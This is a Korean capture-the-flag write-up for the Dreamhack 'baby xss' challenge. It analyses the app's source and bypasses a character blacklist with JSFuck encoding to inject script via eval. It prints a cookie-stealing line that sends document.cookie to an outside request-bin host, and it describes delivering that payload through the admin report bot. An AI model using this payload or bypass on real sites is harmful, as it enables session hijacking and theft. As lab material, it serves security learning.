[Dreamhack] baby xss


문제 설명

  • 아직 영어을 구사하지 못하는 baby들을 위해 alphabet 입력 필요없는 페이지를 만들었어요!


풀이

문제 사이트에 접속해보면 Baby’s music, Saved, Go to Report의 a태그들이 존재하는 걸 볼 수 있다.

{BEC88E50-D5A1-457B-B2A1-25586D7CFFBF}


index.html 파일을 보면 아래와 같이 엔드포인트가 각각 /music, /saved, /report 인 것을 알 수 있다.

{06ED8702-0E35-485A-9ABA-56896866A9BC}


/music엔드포인트에 접속해보면 아래와 같이 age라는 파라미터 값으 받아와서 아래 문자열을 작성하고 이미지까지 띄워주면서 save라는 버튼이 존재한다.

{9669C4CE-8A2D-44FB-BE32-C1F488E3D464}


music.html 소스코드에는 먼저 아래와 같이 age 값을 정규표현식을 이용해 매치하고 정규표현식과 일치하면 nope alert 창을 띄워주면서 뒤로간다. 정규표현식을 살펴보면 아래의 문자들에 대해 문자열 전체에서 모든 패턴을 찾는다.

  1. 영어 소문자 및 대문자
  2. \, &, #, ;, %, *, $, = 의 특수문자
    const recommend = (age) => {
      if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
        alert('nope! ⊂(・﹏・⊂)');
        window.history.back()
      }


music.html의 그 아래 소스 코드를 더 보면 좀 의심되는 eval 함수를 사용해서 위 사진과 같이 innerHTML 을 사용해서 h2 태그에 msg를 age 값과 같이 작성하고 있다. 그 아래에는 img 요소를 생성해서 이미지를 삽입하는 것을 알 수 있다.

      eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);

      const img = document.createElement('img')
      img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';

      album.append(img);


그 아래 스크립트 코드를 더 보면 submit 버튼을 클릭하면 location.href로 파라미터가 포함된 url로 페이지를 리로드한다. 또한 load될 때 url 객체와 urlParams 객체를 생성해서 age 값을 받아와 recommend 함수를 실행한다. save 버튼을 클릭하면 동일하게 url 객체와 urlParams 객체를 생성해 fetch API를 이용해 /save 엔드포인트에 POST 메소드로 age 값을 JSON 형태로 전달하고 서버에서 반환된 텍스트 응답값이 saved의 요소에 innerHTML로 작성된다.

    submit.addEventListener('click', () => {
      location.href = `?age=${age.value}`;
    });

    window.addEventListener('load', () => {
      const url = new URL(location.href);
      const urlParams = url.searchParams;
      if (urlParams.get('age')) {
        recommend(urlParams.get('age'));
      }
    });

    save.addEventListener('click', async () => {
      const url = new URL(location.href);
      const urlParams = url.searchParams;

      const res = await fetch('/save', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({
          age: urlParams.get('age')
        }),
      });
      const result = await res.text();
      saved.innerHTML = result;
    });


save 엔드포인트로 요청을 보내니 index.js에서 /save 부분을 보면 crypto 모듈을 사용하여 20바이트의 랜덤 바이트로 생성된 데이터를 16진수 문자열로 변환하여 서버에서 클라이언트에게 id 부분을 저장하고 보여주는 걸 볼 수 있다.

app.post("/save", (req, res) => {
  const id = crypto.randomBytes(20).toString('hex');
  saved.set(id, req.body.age);
  res.send(`saved! Remember your id: ${id}`);
})


saved.html은 music.html과는 좀 다르게 스크립트 태그로 안에 내용이 감싸져있다. load 이벤트가 발생할 때 id의 파라미터를 가져와 /saved 엔드포인트에 POST 메소드로 id 파라미터 값을 id 키 값을 가지는 JSON 형식으로 보낸다. 그 후 서버에서 받은 응답을 result에 저장하고 recommend 함수로 전달된다.


<body>
  <h1>For Baby</h1>
  <div id="album">
    <h2 id="msg"></h2>
  </div>
  <script>
    const recommend = (age) => {
      if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
        alert('nope! ⊂(・﹏・⊂)');
        window.history.back()
      }

      eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);

      const img = document.createElement('img')
      img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';

      album.append(img);
    }

    window.addEventListener('load', async () => {
      const url = new URL(location.href);
      const urlParams = url.searchParams;
      if (urlParams.get('id')) {
        const res = await fetch('/saved', {
          method: 'POST',
          headers: {
            "Content-Type": "application/json",
          },
          body: JSON.stringify({
            id: urlParams.get('id'),
          }),
        });
        const result = await res.text();
        recommend(result);
      } else {
        document.body.innerHTML = '?id=';
      }
    })
  </script>
</body>


report.html 소스 코드를 보면 아마도 관리자의 쿠키를 보내는 거 같은데 /report 엔드포인트에 POST 메소드에 JSON 형식으로 전달되고 보낸 응답 값을 data에 저장해 alert로 띄워주는 거 같다.

<body>
  <h1>Report</h1>
  URL : http://127.0.0.1:3000/<input id="reportURL" type="text"> <button id="submit-btn">제출</button>
  <script>
    const reportBox = document.querySelector('#reportURL');
    const btn = document.querySelector('#submit-btn');

    btn.addEventListener('click', async () => {
      const result = await fetch('/report', {
        method: 'POST',
        body: JSON.stringify({
          url: `http://127.0.0.1:3000/${reportBox.value}`,
        }),
        headers: {
          'Content-Type': 'application/json'
        }
      });
      let data = await result.text();
      alert(data);
    })
  </script>
</body>


saved 동작 과정을 보면 saved에서 req.body.id 값을 가져와 age 값이 있는지 확인하고 없으면 false를 반환한다. 있으면 age 값을 그대로 반환하는 거 같다.

app.get("/saved", (req, res) => {
  res.sendFile(__dirname + '/views/saved.html');
})

app.post("/saved", (req, res) => {
  const age = saved.get(req.body.id);
  res.send(age ? age : 'false');
})


report 쪽을 보면 헤드리스 브라우저를 이용해 관리자의 쿠키를 설정하고 해당 url에 접속하고 Reported! 라는 alert창을 띄어주는 걸 알 수 있다.

app.get("/report", (req, res) => {
  res.sendFile(__dirname + '/views/report.html');
})

app.post("/report", (req, res) => {
  (async () => {
    const browser = await puppeteer.launch({
      executablePath: '/usr/bin/google-chrome',
      args: ["--no-sandbox"]
    });
    const page = await browser.newPage();
    await page.setCookie(...cookies);

    await page.goto(req.body.url);
    await delay(500);

    await browser.close();
  })();
  res.end('Reported!');
})


일단 정규표현식에서 영어 소문자 대소문자를 사용하지 못하고, \&#;%*$= 의 특수문자들을 사용하지 못하니 이를 제외한 특수문자로 xss 페이로드를 한 번 생각해보아야 한다. 대충 생각나는건 공백 + , ` ‘ ! () [] ^ @ ~ < > ? 정도인 것 같다. 일단 music 엔드포인트에서 eval 함수의 구문을 우회해서 생각해봐야 한다. 아래는 age 값이 들어갈 eval 함수인데 전체가 백틱으로 감싸져 있기 때문에 ‘, alert(1), ‘ 라는 문자열을 넣게 되면 일단 정규표현식에 걸리는 걸 제외하고 alert(1)을 실행할 수 있다.

eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
# eval(`msg.innerHTML='This is recommended album for', alert(1), '-year-old.'`);


', 1, ' 을 넣게되면 일단 다음과 같이 for 다음 문자가 짤려서 xss 페이로드를 넣을 수 있을 것 같다.

{C461FD13-0132-475F-AF2D-5A4A1D437FD5}


해당 특수문자들로 xss 페이로드를 만들어야 하는데 예전에 xss 우회 기법을 정리하다가 JSFuck으로 우회하는 기법이 생각났는데 딱 사용 가능한 특수문자가 JSFuck을 사용하라고 만든 문제같다. 따라서 아래 문자열들을 JSFuck 사이트를 이용해 문자열을 바꿔주어야 한다. 근데 431 에러가 나온다.

location.href="https://pkxlvsz.request.dreamhack.games/"+document.cookie

{177D1FA5-5134-4D1E-8B0C-001A3DD924DB}

{4F880E5D-D4B9-4D78-BA94-57075C52E6E3}


431 에러에 대해서 찾아보니 JSFuck으로 만든 문자열들이 너무 긴 것 같다…

{CEC11C89-14BD-4E57-9317-336210B0B0A4}


해당 문자를 좀 줄이기 위해서 검색을 하다 https://js.retn0.kr/ 라는 조금 더 줄여서 JSFuck 느낌으로 작성할 수 있는 사이트를 발견했다. 여기에서 문자열 제외하고 정규표현식에서 걸리는 특수문자들을 블랙리스트에서 제외시켜서 페이로드를 만들었다.

{0535AF59-F995-4A35-8E2E-4734A845F8BF}


아래는 function() 의 JSFuck 형태인데 뒤에서 두 번째 괄호에 위에 사이트에서 줄인 location.href의 JSFuck 코드를 넣어주면 eval 함수 코드에서 실행될 수 있다.

function() = [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()()


한 가지 더 해줘야 하는건 +가 url에 넘어가면서 공백으로 되기 때문에 이를 url 인코딩 해주기 위해 +를 %2B로 바꿔줘야 한다.

{D0EF10DF-E85C-4892-9C7B-91FDB9019A2F}


다음으로 report 엔드포인트에서 music?age=',{JSFUCK},' 위와 같이 적어주면 request bin에서 관리자의 flag 쿠키를 확인할 수 있다.

{656FE343-22A7-47BB-9469-7B13603B00B3}

댓글남기기